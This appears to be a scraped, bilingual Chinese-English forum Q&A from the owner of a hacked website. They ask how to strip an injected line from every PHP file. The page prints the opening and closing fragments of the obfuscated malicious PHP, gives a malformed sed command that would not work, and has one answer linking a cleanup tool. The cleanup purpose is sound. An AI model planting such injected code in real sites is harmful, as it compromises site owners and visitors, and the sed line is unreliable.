网站被黑，如何使用 SED/GREP 删除恶意代码
我的一个网站被黑了.在每个 php 文件中都添加了一行代码.我不会在这里发布完整的代码，但它的开头是:
a website of mine is hacked. In every php file a line of code is added. I wont post the complete code here, but it starts with:
<?php if(!isset($GLOBALS["x61156x75156x61"])) { $ua=strtolower($_SERVER["x48124x54120x5f125x53105x52137x41107x45116x54"]); if ((! strstr($ua,"x6d163x69145")) and (! strstr($ua,"x72166x3a61x31"))) $GLOBALS["x61156x75156x61"]=1; } ?><?php $yudqgxmnlr =
并以:
$gzagexgpdc=substr($yudqgxmnlr,(34129-24016),(83-71)); $gzagexgpdc($xarchajboj, $ukumkvvgai, NULL); $gzagexgpdc=$ukumkvvgai; $gzagexgpdc=(759-638); $yudqgxmnlr=$gzagexgpdc-1; ?>
我试过查找并替换一些 ssh 命令，但它似乎不起作用.(阅读:我对 ssh 知识的缺乏妨碍了).
I've tried finding and replacing with some ssh commands, but it doesnt seem to work. (Read: my lack of ssh knowledge gets in the way).
这是我最近的尝试:
sed -i '<?php if(!isset*gzagexgpdc-1; ?>//g’ *.php
有人可以帮我吗?
推荐答案
你可以试试这个:https://github.com/daniyalahmadk/RMCI
只需将该代码放入框中并点击提交，它就会从文件中搜索代码并将它们全部删除.
Just need to put that code in box and hit submit, it will search code from files and remove them all once.
相关文章